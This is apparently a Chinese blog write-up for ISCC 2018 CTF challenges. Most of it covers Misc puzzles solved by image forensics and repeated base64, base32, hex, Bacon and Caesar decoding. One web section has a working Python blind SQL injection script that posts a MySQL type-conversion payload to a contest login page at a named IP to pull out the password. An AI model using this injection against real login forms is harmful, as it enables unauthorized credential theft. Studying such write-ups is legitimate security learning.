            pwd += k

					print pwd

						break

有种你来绕

根据提示，是mysql的数据库，利用mysql的特性–隐式类型转换，进行盲注得到密码。

写了个脚本跑出密码登录。

import requests
url = "http://118.190.152.202:8019/login.php"
						
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
						
password = ''
						
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'
						
for i in range(1,33):

					for k in fuzz:
        p = payload.format(i,ord(k))
        u = requests.post(url,data = {'uname':p,'passwd':'admin'})

					if
							not
									'username'
											in u.content:
            password += k

						print password

解密: nishishabi1438 (我他妈想打死傻逼出题人)

输入flag，执行即可。

web400 Only Admin 是cookie注入，但是自己没怎么看，等其他师傅分享wp再学习一波吧。

ISCC 2018 Msic WriteUp

Y4er — Fri, 25 May 2018 11:50:45 +0000

X1r0z:你们 520 在撩妹而我却在做题

What is that?

png 格式应该是手指下面有 flag

拖进 tweakpng

CRC 报错可能更改了图片宽度 or 高度

winhex 修改

查看

数字密文

69742773206561737921

hex 编码解码即可

it's easy!

秘密电报

ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

培根密码

ilikeiscc

提交注意大写

重重谍影

Vm0wd2QyVkZOVWRXV0doVlYwZG9WVll3WkRSV2JGbDNXa1JTVjAxWGVGWlZNakExVjBaS2RHVkljRnBXVm5CUVZqQmtTMUl4VG5OaFJtUlhaV3RHTkZkWGRHdFRNVXB6V2toV2FsSnNjRmhhVjNoaFYxWmFjMWt6YUZSTlZtdzBWVEo0YzJGR1NuTlhiR2hYWVd0d2RsUnRlR3RqYkdSMFVteFdUbFp0ZHpCV2EyTXhVekZSZUZkc1ZsZGhlbXhoVm01d1IyTldjRVZTYlVacVZtdHdlbGRyVlRWVk1ERldZMFZ3VjJKR2NIWlpWRXBIVWpGT1dXSkhhRlJTVlhCWFZtMDFkMUl3TlhOVmJGcFlZbGhTV1ZWcVFURlRWbEY0VjIxR2FGWnNjSGxaYWs1clZqSkdjbUo2UWxwV1JWcDZWbXBHVDJNeGNFaGpSazVZVWxWd1dWWnRNVEJXTVUxNFdrVmtWbUpHV2xSWlZFNVRWVVpzYzFadVpGUmlSbHBaVkZaU1ExWlhSalpTYTJSWFlsaENVRll3V21Gak1XUnpZVWRHVTFKV2NGRldha0poV1ZkU1YxWnVTbEJXYldoVVZGUktiMDB4V25OYVJFSm9UVlpXTlZaSE5VOVdiVXB5WTBaYVdtRXhjRE5aTW5oVFZqRmFkRkpzWkU1V2JGa3dWbXhrTUdFeVJraFRiRnBYWVd4d1dGWnFUbE5YUmxsNVRWVmFiRkp0VW5wWlZWcFhZVlpLZFZGdWJGZGlXRUpJV1ZSS1QxWXhTblZWYlhoVFlYcFdWVmRYZUZOamF6RkhWMjVTYWxKWVVrOVZiVEUwVjBaYVNFNVZPVmRXYlZKS1ZWZDRhMWRzV2taWGEzaFhUVlp3V0ZwR1pFOVRSVFZZWlVkc1UyRXpRbHBXYWtvd1lURkplRmR1U2s1V1ZscHdWVzB4VTFac1duUk5WazVPVFZkU1dGZHJWbXRoYXpGeVRsVndWbFl6YUZoV2FrWmhZekpPUjJKR1pGTmxhMVYzVjJ0U1IyRXhUa2RWYmtwb1VtdEtXRmxzWkc5a2JHUllaRVprYTJKV1ducFhhMXB2Vkd4T1NHRklRbFZXTTJoTVZqQmFZVk5GTlZaa1JscFRZbFpLU0ZaSGVGWmxSbHBYVjJ0YVQxWldTbFpaYTFwM1dWWndWMXBHWkZSU2EzQXdXVEJWTVZZeVNuSlRWRUpYWWtad2NsUnJXbHBsUmxweVdrWm9hVkpzY0ZsWFYzUnJWVEZaZUZkdVVtcGxhMHB5VkZaYVMxZEdXbk5oUnpsWVVteHNNMWxyVWxkWlZscFhWbGhvVjFaRldtaFdha3BQVWxaU2MxcEhhRTVpUlc4eVZtdGFWMkV4VVhoYVJXUlVZa2Q0Y1ZWdGRIZGpSbHB4VkcwNVZsWnRVbGhXVjNSclYyeGFjMk5GYUZkaVIyaHlWbTB4UzFaV1duSlBWbkJwVW14d2IxZHNWbUZoTWs1elZtNUtWV0pHV2s5V2JHaERVMVphY1ZKdE9XcE5WbkJaVld4b2IxWXlSbk5UYldoV1lURmFhRlJVUm1GamJIQkhWR3hTVjJFelFqVldSM2hoWVRGU2RGTnJXbXBTVjFKWVZGWmFTMUpHYkhGU2JrNVlVbXR3ZVZkcldtdGhWa2w1WVVjNVYxWkZTbWhhUkVaaFZqRldjMWRzWkZoU01taFFWa1phWVdReFNuTldXR3hyVWpOU2IxVnRkSGRXYkZwMFpVaE9XbFpyY0ZsV1YzQlBWbTFXY2xkdGFGWmlXRTE0Vm0xNGExWkdXbGxqUms1U1ZURldObFZyVGxabGJFcENTbFJPUlVwVVRrVSUzRA==

base64 一直解

注意 url 编码

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4
B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z
iN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=

AES key 为空

缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗

tudoucode

解密

把我复制走

有趣的 ISCC

winhex 末尾

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

unicode 解码

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

再解一次

flag{iscc is fun}

Where is the FLAG?

拖进 tweakpng 看到 Adobe Photoshop

打开后拼接图层

扫描即可得到 flag

凯撒十三世

ebdgc697g95w3

13 次移位

roqtp697t95j3

提交发现不对后来想想 flag 开头应该是 flag{} 之类的

r -> f o -> l q -> a t -> g

以此类推

flag:yougotme

一只猫的心思

foremost 分离出 doc

名西三陵帝焰数诵诸山众參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重号貧老诵夷經友利普过孕北至花令藐灯害蒙能羅福羅夢开雙禮琉德护慈積寫阿璃度戏便通故西故敬于瑟行雙知宇信在礙哈数及息闍殺陵游盧槃药諦慈灯究幽灯豆急彌貧豆親诵梭量树琉敬精者楞来西陰根五消夢众羅持造彌六师彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念忧戏輸教乾楞能敬告树来楞殊倒哈在紛除亿茶涅根輸持麼阿空瑟稳住濟号他方牟月息盡即来通貧竟怖如槃精老盡恤及游薩戏师毒兄宝下行普鄉释下告劫惜进施盡豆告心蒙紛信胜东蒙求帝金量礙故弟帝普劫夜利除積众老陀告沙師尊尼捨惜三依老蒙守精于排族祖在师利寫首念凉梭妙經栗穆愛憐孝粟尊醯造解住時刚槃宗解牟息在量下恐教众智焰便醯除寂想虚中顛老弥诸持山諦月真羅陵普槃下遠涅能开息灯和楞族根羅宝戒药印困求及想月涅能进至贤金難殊毘瑟六毘捨薩槃族施帝遠念众胜夜夢各万息尊薩山哈多皂诵盡药北及雙栗师幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皂難于焰以栗婦愛闍多安逝告槃藐矜竟孕彌弟多者精师寡寫故璃舍各亦方特路茶豆積梭求号栗怖夷凉在顛豆胜住虚解鄉姪利琉三槃以舍劫鄉陀室普焰于鄉依朋故能劫通

拿之前的网址解密

523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46

hex

R1VaREdNSlVHVTNVQ05KU0dRMlRNTkJVSVUyVEdOU0RHWTJESU9CVkdJMlRNTlpRR1UyVEtOSlRHQVpUS05DREdVWkRHTUJXR1EyVUNOQ0ZHUTNES01SVkdBMlRJTkpXRzRZREtOWlZHTTJUTU5TQ0c0NFRLTVJVR1kyRUtOQ0ZHVTNUTVFaVklFMkRRTkpYR1UzRE9NQlZHVTJUSU5KVkdNWVRNTUpWR1kzRUVOU0RHVkFUSVJCV0lNMlRNTkJVR1UyRE1RUlVJVTJEUU5KU0dNWVRPTUJVR00yVE1OQlZHWTJES01CVkdFM0VHTktCR1JBVEtOWlZHUTJFQ05CVkdVMkRHTUJUR0UzRENOSldHUTJUTU5CVkdZMkVJTlNDR1VaRElRWlZHUTJUS05DQkdVMlRLTVJUR0EyRE1OUlJHVTNESU5KVUlVMkVNTkpSR01ZREtRSlVIQTJUTU5KVUdSQVRJTVJWR0EyVElNWlFHTTRUS01CVkdFWlVJTTJF

base64

GUZDGMJUGU3UCNJSGQ2TMNBUIU2TGNSDGY2DIOBVGI2TMNZQGU2TKNJTGAZTKNCDGUZDGMBWGQ2UCNCFGQ3DKMRVGA2TINJWG4YDKNZVGM2TMNSCG44TKMRUGY2EKNCFGU3TMQZVIE2DQNJXGU3DOMBVGU2TINJVGMYTMMJVGY3EENSDGVATIRBWIM2TMNBUGU2DMQRUIU2DQNJSGMYTOMBUGM2TMNBVGY2DKMBVGE3EGNKBGRATKNZVGQ2ECNBVGU2DGMBTGE3DCNJWGQ2TMNBVGY2EINSCGUZDIQZVGQ2TKNCBGU2TKMRTGA2DMNRRGU3DINJUIU2EMNJRGMYDKQJUHA2TMNJUGRATIMRVGA2TIMZQGM4TKMBVGEZUIM2E

base32

5231457A5245644E536C6448525670555530354C5230645A4E4652505456705753566B7952464E4E576C5A485756705554553161566B6C5A4D6C5644546B4E485231704356456450516C5A4A57544A4554303161564564564D6B524C54554A555230466156454E4F51305A4856544A425054303950513D3D

hex

R1EzREdNSldHRVpUU05LR0dZNFRPTVpWSVkyRFNNWlZHWVpUTU1aVklZMlVDTkNHR1pCVEdPQlZJWTJET01aVEdVMkRLTUJUR0FaVENOQ0ZHVTJBPT09PQ==

base64

GQ3DGMJWGEZTSNKGGY4TOMZVIY2DSMZVGYZTMMZVIY2UCNCGGZBTGOBVIY2DOMZTGU2DKMBTGAZTCNCFGU2A====

base32

463161395F69735F493563635F5A4F6C385F4733545030314E54

hex

F1a9_is_I5cc_ZOl8_G3TP01NT

暴力XX不可取

zip 文件猜测为伪加密

ZipCenOp.jar

解压后打开 flag.txt

vfppjrnerpbzvat

凯撒移位每一对都试一遍

isccwearecoming

13 次移位